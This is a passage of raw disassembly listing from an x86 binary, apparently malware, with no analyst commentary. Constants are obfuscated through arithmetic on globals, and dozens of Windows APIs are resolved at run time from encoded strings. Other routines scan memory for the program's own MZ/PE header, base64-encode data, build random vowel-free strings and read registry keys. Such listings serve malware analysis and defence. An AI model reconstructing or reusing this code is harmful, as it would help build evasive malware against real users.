		jnz	short loc_423E10
		and	dword ptr ds:1000F0E0h[edi*4], 0


loc_423E10:				; CODE XREF: sub_4239D8+410j
					; sub_4239D8+41Fj ...
		inc	[ebp+var_10048]


loc_423E16:				; CODE XREF: sub_4239D8+3FBj
		mov	eax, ds:1001419Ch
		add	eax, 3DFh
		cmp	[ebp+var_10048], eax
		jb	short loc_423DD5


loc_423E28:				; CODE XREF: sub_4239D8+3EEj
		call	dword ptr ds:10013950h
		mov	[ebp+var_10060], eax
		movsx	eax, word ptr ds:10014180h
		sub	eax, 5
		mov	[ebp+var_1004C], eax
		jmp	short loc_423E98
; ---------------------------------------------------------------------------


loc_423E46:				; CODE XREF: sub_4239D8+4D0j
		mov	edi, [ebp+var_1004C]
		shl	edi, 2
		cmp	dword ptr ds:1000F0E0h[edi], 0
		jz	short loc_423E92
		mov	edi, ds:10012830h[edi]
		movsx	esi, word ptr ds:100140B8h
		add	esi, 0EA57h
		movsx	edx, word ptr ds:100141F0h
		add	edx, 3
		imul	esi, edx
		add	edi, esi
		cmp	edi, [ebp+var_10060]
		jnb	short loc_423E92
		mov	edi, [ebp+var_1004C]
		and	dword ptr ds:1000F0E0h[edi*4], 0


loc_423E92:				; CODE XREF: sub_4239D8+47Fj
					; sub_4239D8+4AAj
		inc	[ebp+var_1004C]


loc_423E98:				; CODE XREF: sub_4239D8+46Cj
		mov	eax, ds:100140A4h
		add	eax, 3DFh
		cmp	[ebp+var_1004C], eax
		jb	short loc_423E46
		mov	eax, ds:10014170h
		add	eax, ds:1001424Ch
		sub	eax, 0Eh
		mov	[ebp+var_10054], eax
		jmp	short loc_423ED6
; ---------------------------------------------------------------------------


loc_423EC0:				; CODE XREF: sub_4239D8+50Ej
		mov	edi, [ebp+var_10054]
		cmp	dword ptr ds:1000F0E0h[edi*4], 0
		jz	short loc_423EE8
		inc	[ebp+var_10054]


loc_423ED6:				; CODE XREF: sub_4239D8+4E6j
		mov	eax, ds:100140B0h
		add	eax, 3DFh
		cmp	[ebp+var_10054], eax
		jb	short loc_423EC0


loc_423EE8:				; CODE XREF: sub_4239D8+4F6j
		mov	edi, [ebp+var_10054]
		mov	esi, [ebp+var_1005C]
		mov	ds:1000E010h[edi*4], esi
		mov	eax, edi
		mov	dl, [ebp+var_10055]
		mov	ds:100101B0h[eax], dl
		mov	esi, [ebp+arg_0]
		mov	ds:1000D050h[edi*4], esi
		movsx	eax, word ptr ds:100140F4h
		sub	eax, 7
		cmp	[ebp+var_10080], eax
		jbe	loc_423FCB
		mov	esi, ds:10014158h
		add	esi, 0FFEEh
		movsx	edx, word ptr ds:10014144h
		add	esi, edx
		mov	ds:10010A10h[edi*2], si
		mov	eax, ds:10014240h
		mov	[ebp+var_10088], eax
		jmp	short loc_423FB7
; ---------------------------------------------------------------------------


loc_423F54:				; CODE XREF: sub_4239D8+5EFj
		mov	edi, [ebp+var_10088]
		mov	esi, edi
		shl	esi, 2
		cmp	dword ptr ds:1000F0E0h[esi], 0
		jz	short loc_423FB1
		movzx	edx, word ptr ds:10010A10h[edi*2]
		mov	ecx, ds:10014154h
		add	ecx, 0FFF8h
		add	ecx, ds:100141B4h
		cmp	edx, ecx
		jz	short loc_423FB1
		mov	edx, [ebp+var_1005C]
		cmp	ds:1000E010h[esi], edx
		jnz	short loc_423FB1
		mov	dl, ds:100101B0h[edi]
		cmp	dl, [ebp+var_10055]
		jnz	short loc_423FB1
		lea	edi, ds:10010A10h[edi*2]
		inc	word ptr [edi]
		jmp	short loc_423FE2
; ---------------------------------------------------------------------------


loc_423FB1:				; CODE XREF: sub_4239D8+58Fj
					; sub_4239D8+5ADj ...
		inc	[ebp+var_10088]


loc_423FB7:				; CODE XREF: sub_4239D8+57Aj
		mov	eax, ds:100140ECh
		add	eax, 3E2h
		cmp	[ebp+var_10088], eax
		jb	short loc_423F54
		jmp	short loc_423FE2
; ---------------------------------------------------------------------------


loc_423FCB:				; CODE XREF: sub_4239D8+54Cj
		mov	edi, [ebp+var_10054]
		mov	esi, ds:10014178h
		sub	esi, 4
		mov	ds:10010A10h[edi*2], si


loc_423FE2:				; CODE XREF: sub_4239D8+5D7j
					; sub_4239D8+5F1j
		call	dword ptr ds:10013950h
		mov	edi, [ebp+var_10054]
		mov	ds:10012830h[edi*4], eax
		lea	esi, ds:10014320h
		mov	ds:1000F0E0h[edi*4], esi
		mov	edi, [ebp+var_10054]
		lea	edi, ds:1000F0E0h[edi*4]
		mov	[ebp+var_10084], edi
		mov	eax, edi
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+4]
		mov	[ebp+var_10078], 9
		mov	edi, [ebp+var_10054]
		lea	edi, ds:1000F0E0h[edi*4]
		mov	[ebp+var_10070], edi
		lea	esi, [ebp+var_10078]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_1007C]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+0A4h]
		mov	ebx, eax
		inc	[ebp+var_10054]
		lea	eax, [ebp+var_10078]
		push	eax
		call	dword ptr ds:10013D94h
		mov	eax, [ebp+var_1007C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_42407B:				; CODE XREF: sub_4239D8+140j
					; sub_4239D8+14Dj ...
		cmp	[ebp+var_10044], 0
		jz	short loc_424090
		mov	eax, [ebp+var_10044]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_424090:				; CODE XREF: sub_4239D8+6AAj
		cmp	[ebp+var_4], 0
		jz	short loc_42409F
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_42409F:				; CODE XREF: sub_4239D8+10Ej
					; sub_4239D8+6BCj
		inc	[ebp+var_1C]


loc_4240A2:				; CODE XREF: sub_4239D8+C6j
		mov	eax, [ebp+var_28]
		cmp	[ebp+var_1C], eax
		jb	loc_423AA3


loc_4240AE:				; CODE XREF: sub_4239D8+AFj
		mov	eax, [ebp+var_24]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4240B7:				; CODE XREF: sub_4239D8+8Ej
		mov	eax, [ebp+var_2C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		xor	eax, eax


loc_4240C2:				; CODE XREF: sub_4239D8+5Fj
					; sub_4239D8+1EBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4239D8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	100105B8h
		call	dword ptr ds:100109F4h
		mov	eax, ds:100105B8h
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4240DE	proc near		; CODE XREF: sub_41E931+FDp
					; sub_41EF87+404p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, ds:100140A4h
		sub	esi, 9
		jmp	short loc_424124
; ---------------------------------------------------------------------------


loc_4240F2:				; CODE XREF: sub_4240DE+49j
		call	dword ptr ds:10013D90h
		mov	edi, ds:100140B0h
		add	edi, 56h
		add	edi, ds:10014094h
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		add	edi, eax
		mov	edx, edi
		mov	[ebx+esi], dl
		inc	esi


loc_424124:				; CODE XREF: sub_4240DE+12j
		cmp	esi, [ebp+arg_4]
		jl	short loc_4240F2
		mov	eax, [ebp+arg_4]
		movsx	edx, word ptr ds:10014114h
		add	edx, ds:10014188h
		sub	edx, 12h
		mov	[ebx+eax], dl
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4240DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424146	proc near		; CODE XREF: sub_41E931+1F3p

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	0
		push	0
		push	3
		push	0
		push	0
		push	80000000h
		push	10011220h
		call	dword ptr ds:10013968h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_424187
		movsx	eax, word ptr ds:10014120h
		sub	eax, 9
		mov	edx, ds:100141E0h
		dec	edx
		mov	[esi+eax], dl
		jmp	short loc_4241DD
; ---------------------------------------------------------------------------


loc_424187:				; CODE XREF: sub_424146+29j
		push	0
		push	0
		push	[ebp+arg_4]
		push	edi
		call	dword ptr ds:10013D80h
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, ds:10014188h
		add	eax, 0Bh
		add	eax, ds:100141A0h
		push	eax
		push	esi
		push	edi
		call	dword ptr ds:1000D02Ch
		mov	ebx, eax
		push	edi
		call	dword ptr ds:1001282Ch
		cmp	ebx, ds:100140D4h
		jnz	short loc_4241DD
		mov	eax, ds:10014108h
		add	eax, ds:10014134h
		sub	eax, 0Dh
		mov	edx, ds:100140D8h
		sub	edx, 5
		mov	[esi+eax], dl


loc_4241DD:				; CODE XREF: sub_424146+3Fj
					; sub_424146+7Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424146	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241E2	proc near		; CODE XREF: .data:00424DD3p
		push	edi
		push	10014BCFh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:10013840h, eax
		push	10014BC7h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:1000EFBCh, eax
		push	10014BB3h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:10010598h, eax
		push	10014BA3h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:10011208h, eax
		push	10014B94h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:10013968h, eax
		push	10014B85h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:1000D008h, eax
		push	10014B73h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:10013D80h, eax
		push	10014B66h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:10013D6Ch, eax
		push	10014B57h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:1001282Ch, eax
		push	10014B48h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:100137F8h, eax
		push	10014B3Ch
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:1000D000h, eax
		push	10014B31h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:10010094h, eax
		push	10014B1Ah
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:1000D00Ch, eax
		push	10014B03h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:1001381Ch, eax
		push	10014AEDh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:100137D8h, eax
		push	10014ADDh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:1000D03Ch, eax
		push	10014AD1h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:1000D02Ch, eax
		push	10014AC1h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:1001120Ch, eax
		push	10014AB2h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:10012804h, eax
		push	10014AA4h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:100109ECh, eax
		push	10014A97h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:100105CCh, eax
		push	10014A86h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:10011420h, eax
		push	10014A75h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:1000D030h, eax
		push	10014A65h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:10013950h, eax
		push	10014A53h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:1001121Ch, eax
		push	10014A42h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:1000EFB4h, eax
		push	10014A35h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:100105BCh, eax
		push	10014A24h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:10013844h, eax
		push	10014A0Fh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:1001382Ch, eax
		push	100149FFh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:1000EFB0h, eax
		push	100149EAh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:10010088h, eax
		push	100149DDh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:10011534h, eax
		push	100149CDh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:100137ECh, eax
		push	100149BFh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:1001281Ch, eax
		push	100149A9h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:1001280Ch, eax
		push	10014992h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:100105B0h, eax
		push	1001497Ah
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:100109F4h, eax
		push	10014962h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:1000D010h, eax
		push	10014949h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:100137E4h, eax
		push	10014936h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:10013960h, eax
		push	1001491Eh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:10013958h, eax
		push	1001490Dh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:10013D78h, eax
		push	100148FBh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:100105A8h, eax
		push	100148ECh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:10013D7Ch, eax
		push	100148D5h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:100109F8h, eax
		push	100148BFh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:10011204h, eax
		push	100148A4h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:10012828h, eax
		push	1001488Ah
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:10013800h, eax
		push	10014876h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:1000D038h, eax
		push	1001485Fh
		call	sub_41B08F
		add	esp, 0C8h
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:10013808h, eax
		pop	edi
		retn
sub_4241E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424763	proc near		; CODE XREF: sub_423599+BAp
					; sub_423599+F1p ...

var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	edi
		movzx	eax, [ebp+arg_0]
		mov	ecx, 0Ah
		mov	edx, 0CCCCCCCDh
		mul	edx
		shr	edx, 3
		mov	[ebp+var_4], edx
		mov	edi, edx
		add	edi, 61h
		mov	ebx, edi
		mov	[ebp+arg_0], bl
		mov	al, [ebp+arg_0]
		cmp	al, 65h
		jz	short loc_4247A4
		cmp	al, 79h
		jz	short loc_4247A4
		cmp	al, 75h
		jz	short loc_4247A4
		cmp	al, 69h
		jz	short loc_4247A4
		cmp	al, 6Fh
		jz	short loc_4247A4
		cmp	al, 61h
		jnz	short loc_4247A8


loc_4247A4:				; CODE XREF: sub_424763+2Bj
					; sub_424763+2Fj ...
		add	[ebp+arg_0], 1


loc_4247A8:				; CODE XREF: sub_424763+3Fj
		cmp	[ebp+arg_0], 6Ah
		jnz	short loc_4247B2
		add	[ebp+arg_0], 1


loc_4247B2:				; CODE XREF: sub_424763+49j
		movzx	eax, [ebp+arg_0]
		pop	edi
		pop	ebx
		leave
		retn
sub_424763	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	10013964h
		call	dword ptr ds:100109F4h
		mov	eax, ds:10013964h
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4247D1	proc near		; CODE XREF: .data:00422517p

var_7		= byte ptr -7
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		mov	eax, ebx
		add	eax, 2
		mov	ecx, 3
		mov	edx, 0AAAAAAABh
		mul	edx
		shr	edx, 1
		mov	[ebp+var_4], edx
		mov	edi, edx
		shl	edi, 2
		mov	edx, [ebp+arg_C]
		dec	edx
		cmp	edi, edx
		jbe	short loc_42484C
		xor	eax, eax
		jmp	loc_4248FE
; ---------------------------------------------------------------------------


loc_424809:				; CODE XREF: sub_4247D1+83j
		push	esi
		push	[ebp+arg_0]
		call	sub_41E6DC
		add	esp, 8
		mov	eax, ds:10014170h
		movsx	edx, word ptr ds:10014220h
		add	eax, edx
		sub	eax, 9
		sub	ebx, eax
		movsx	eax, word ptr ds:1001411Ch
		dec	eax
		add	eax, [ebp+arg_0]
		mov	[ebp+arg_0], eax
		movsx	eax, word ptr ds:10014194h
		movsx	edx, word ptr ds:1001423Ch
		add	eax, edx
		sub	eax, 0Ah
		lea	esi, [esi+eax]


loc_42484C:				; CODE XREF: sub_4247D1+2Fj
		mov	eax, ds:10014104h
		dec	eax
		cmp	ebx, eax
		jnb	short loc_424809
		movsx	eax, word ptr ds:10014130h
		add	eax, ds:100141E8h
		sub	eax, 9
		cmp	ebx, eax
		jbe	short loc_4248E4
		push	3
		mov	eax, ds:100140B0h
		add	eax, ds:1001409Ch
		sub	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_7]
		push	eax
		call	dword ptr ds:10012818h
		push	ebx
		push	[ebp+arg_0]
		lea	eax, [ebp+var_7]
		push	eax
		call	dword ptr ds:10012808h
		push	esi
		lea	eax, [ebp+var_7]
		push	eax
		call	sub_41E6DC
		add	esp, 20h
		mov	eax, ds:1001415Ch
		add	eax, ds:10014158h
		sub	eax, 5
		mov	byte ptr [esi+eax], 3Dh
		mov	eax, ds:100141C8h
		movsx	edx, word ptr ds:10014110h
		add	eax, edx
		dec	eax
		cmp	ebx, eax
		jnz	short loc_4248D1
		mov	eax, ds:1001424Ch
		sub	eax, 7
		mov	byte ptr [esi+eax], 3Dh


loc_4248D1:				; CODE XREF: sub_4247D1+F2j
		movsx	eax, word ptr ds:100140B8h
		add	eax, ds:10014188h
		sub	eax, 0Eh
		lea	esi, [esi+eax]


loc_4248E4:				; CODE XREF: sub_4247D1+97j
		movsx	eax, word ptr ds:100141F0h
		sub	eax, 2
		movsx	edx, word ptr ds:100141DCh
		sub	edx, 9
		mov	[esi+eax], dl
		xor	eax, eax
		inc	eax


loc_4248FE:				; CODE XREF: sub_4247D1+33j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4247D1	endp

; ---------------------------------------------------------------------------
		mov	eax, 80004001h
		retn	10h
; ---------------------------------------------------------------------------
		mov	eax, 80004001h
		retn	8
; ---------------------------------------------------------------------------
		mov	eax, 80004001h
		retn	18h

; =============== S U B	R O U T	I N E =======================================



sub_42491B	proc near		; CODE XREF: sub_4210C1+256p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, [esp+8+arg_0]
		mov	edi, esi
		movsx	eax, word ptr ds:10014120h
		movsx	edx, word ptr ds:1001412Ch
		add	eax, edx
		sub	eax, 0Ah
		cmp	edi, eax
		jge	short loc_424965
		movsx	eax, word ptr ds:100140F8h
		add	eax, 4
		imul	edi, eax
		mov	eax, ds:1001410Ch
		inc	eax
		mov	edx, esi
		add	edx, eax
		movsx	eax, word ptr ds:100141F0h
		add	eax, 2
		imul	edx, eax
		sub	edi, edx
		jmp	loc_424AB6
; ---------------------------------------------------------------------------


loc_424965:				; CODE XREF: sub_42491B+1Dj
		dec	edi
		mov	eax, ds:100141BCh
		add	eax, 9
		add	eax, ds:1001414Ch
		cmp	edi, eax
		jge	short loc_4249A8
		mov	eax, ds:10014248h
		add	eax, ds:100140ECh
		sub	eax, 4
		imul	edi, eax
		mov	eax, edi
		sub	eax, esi
		movsx	edx, word ptr ds:10014190h
		movsx	ecx, word ptr ds:100140F4h
		lea	edx, [edx+ecx+1]
		mov	edi, eax
		sub	edi, edx
		jmp	loc_424AB6
; ---------------------------------------------------------------------------


loc_4249A8:				; CODE XREF: sub_42491B+5Bj
		dec	edi
		mov	eax, ds:1001410Ch
		add	eax, 22h
		cmp	edi, eax
		jge	short loc_4249D9
		movsx	eax, word ptr ds:1001412Ch
		add	eax, ds:1001424Ch
		sub	eax, 0Eh
		imul	edi, eax
		movsx	eax, word ptr ds:10014114h
		add	eax, 39h
		sub	edi, eax
		jmp	loc_424AB6
; ---------------------------------------------------------------------------


loc_4249D9:				; CODE XREF: sub_42491B+98j
		dec	edi
		movsx	eax, word ptr ds:10014228h
		add	eax, 20h
		cmp	edi, eax
		jge	short loc_424A14
		mov	eax, ds:100141D8h
		movsx	edx, word ptr ds:1001423Ch
		add	eax, edx
		sub	eax, 6
		imul	edi, eax
		mov	eax, ds:100140BCh
		add	eax, 3Fh
		movsx	edx, word ptr ds:10014190h
		add	eax, edx
		sub	edi, eax
		jmp	loc_424AB6
; ---------------------------------------------------------------------------


loc_424A14:				; CODE XREF: sub_42491B+CBj
		dec	edi
		mov	eax, ds:10014094h
		add	eax, 2Ah
		add	eax, ds:100140F0h
		cmp	edi, eax
		jge	short loc_424A4C
		movsx	eax, word ptr ds:10014130h
		add	eax, ds:10014134h
		sub	eax, 4
		imul	edi, eax
		mov	eax, ds:1001413Ch
		add	eax, 4Bh
		add	eax, ds:100141A4h
		sub	edi, eax
		jmp	short loc_424AB6
; ---------------------------------------------------------------------------


loc_424A4C:				; CODE XREF: sub_42491B+10Aj
		dec	edi
		movsx	eax, word ptr ds:10014120h
		add	eax, 2Dh
		cmp	edi, eax
		jge	short loc_424A7A
		movsx	eax, word ptr ds:100140B8h
		sub	eax, 7
		imul	edi, eax
		mov	eax, ds:10014150h
		add	eax, 63h
		add	eax, ds:100141D0h
		sub	edi, eax
		jmp	short loc_424AB6
; ---------------------------------------------------------------------------


loc_424A7A:				; CODE XREF: sub_42491B+13Ej
		dec	edi
		mov	eax, ds:10014134h
		add	eax, 35h
		cmp	edi, eax
		jge	short loc_424AA3
		movsx	eax, word ptr ds:100140E4h
		imul	edi, eax
		mov	eax, ds:1001414Ch
		add	eax, 64h
		add	eax, ds:1001422Ch
		sub	edi, eax
		jmp	short loc_424AB6
; ---------------------------------------------------------------------------


loc_424AA3:				; CODE XREF: sub_42491B+16Aj
		movsx	eax, word ptr ds:10014114h
		mov	edx, ds:100141C4h
		lea	eax, [eax+edx+2Fh]
		sub	edi, eax


loc_424AB6:				; CODE XREF: sub_42491B+45j
					; sub_42491B+88j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42491B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp


loc_424ABE:				; CODE XREF: .data:00424AEBj
		call	sub_41AF48
		mov	eax, ds:10014140h
		sub	eax, 7
		mov	edx, ds:100141E0h
		add	edx, 0EA5Bh
		movsx	ecx, word ptr ds:100140E8h
		add	edx, ecx
		imul	eax, edx
		push	eax
		call	dword ptr ds:1001380Ch
		pop	ecx
		jmp	short loc_424ABE
; ---------------------------------------------------------------------------
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	dword ptr ds:100105C8h
		pop	edi
		pop	ebp
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B0F	proc near		; CODE XREF: sub_41F6A1+19Fp
					; sub_41F6A1+20Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	20019h
		mov	eax, ds:100140E0h
		sub	eax, 2
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword ptr ds:1001059Ch
		mov	edi, eax
		or	edi, edi
		jz	short loc_424B3C
		xor	eax, eax
		jmp	short loc_424B69
; ---------------------------------------------------------------------------


loc_424B3C:				; CODE XREF: sub_424B0F+27j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	dword ptr ds:1000D044h
		mov	edi, eax
		push	[ebp+var_4]
		call	dword ptr ds:100137E8h
		or	edi, edi
		jz	short loc_424B66
		xor	eax, eax
		jmp	short loc_424B69
; ---------------------------------------------------------------------------


loc_424B66:				; CODE XREF: sub_424B0F+51j
		xor	eax, eax
		inc	eax


loc_424B69:				; CODE XREF: sub_424B0F+2Bj
					; sub_424B0F+55j
		pop	edi
		leave
		retn
sub_424B0F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 138h
		push	ebx
		push	esi
		push	edi
		lea	eax, ds:1000139Fh
		mov	[ebp-10h], eax
		mov	edx, eax
		mov	ecx, ds:10014170h
		add	ecx, 0Bh
		mov	eax, edx
		shr	eax, cl
		mov	edx, ds:100141E0h
		add	edx, 0Ah
		add	edx, ds:100141D4h
		mov	ecx, edx
		mov	ebx, eax
		shl	ebx, cl


loc_424BA5:				; CODE XREF: .data:00424BBFj
					; .data:00424BF0j ...
		mov	[ebp-18h], ebx
		mov	eax, ebx
		cmp	word ptr [eax],	5A4Dh
		jz	short loc_424BC1
		movsx	eax, word ptr ds:10014148h
		add	eax, 10000h
		sub	ebx, eax
		jmp	short loc_424BA5
; ---------------------------------------------------------------------------


loc_424BC1:				; CODE XREF: .data:00424BAFj
		mov	eax, ds:10014198h
		add	eax, 33h
		movsx	edx, word ptr ds:10014110h
		add	eax, edx
		mov	esi, ebx
		add	esi, eax
		mov	eax, ebx
		add	eax, [esi]
		mov	[ebp-14h], eax
		mov	ecx, [ebp-10h]
		cmp	eax, ecx
		jbe	short loc_424BF2
		mov	eax, ds:1001409Ch
		add	eax, 0FFFFh
		sub	ebx, eax
		jmp	short loc_424BA5
; ---------------------------------------------------------------------------


loc_424BF2:				; CODE XREF: .data:00424BE2j
		mov	eax, [ebp-14h]
		mov	[ebp-8], eax
		movzx	eax, word ptr [eax]
		cmp	eax, 4550h
		jz	short loc_424C16
		mov	eax, ds:100140C8h
		add	eax, 0FFFCh
		add	eax, ds:100141C8h
		sub	ebx, eax
		jmp	short loc_424BA5
; ---------------------------------------------------------------------------


loc_424C16:				; CODE XREF: .data:00424C00j
		mov	eax, [ebp-8]
		mov	eax, [eax+80h]
		mov	[ebp-0Ch], eax
		mov	eax, ds:10014198h
		add	eax, ds:100140DCh
		sub	eax, 9
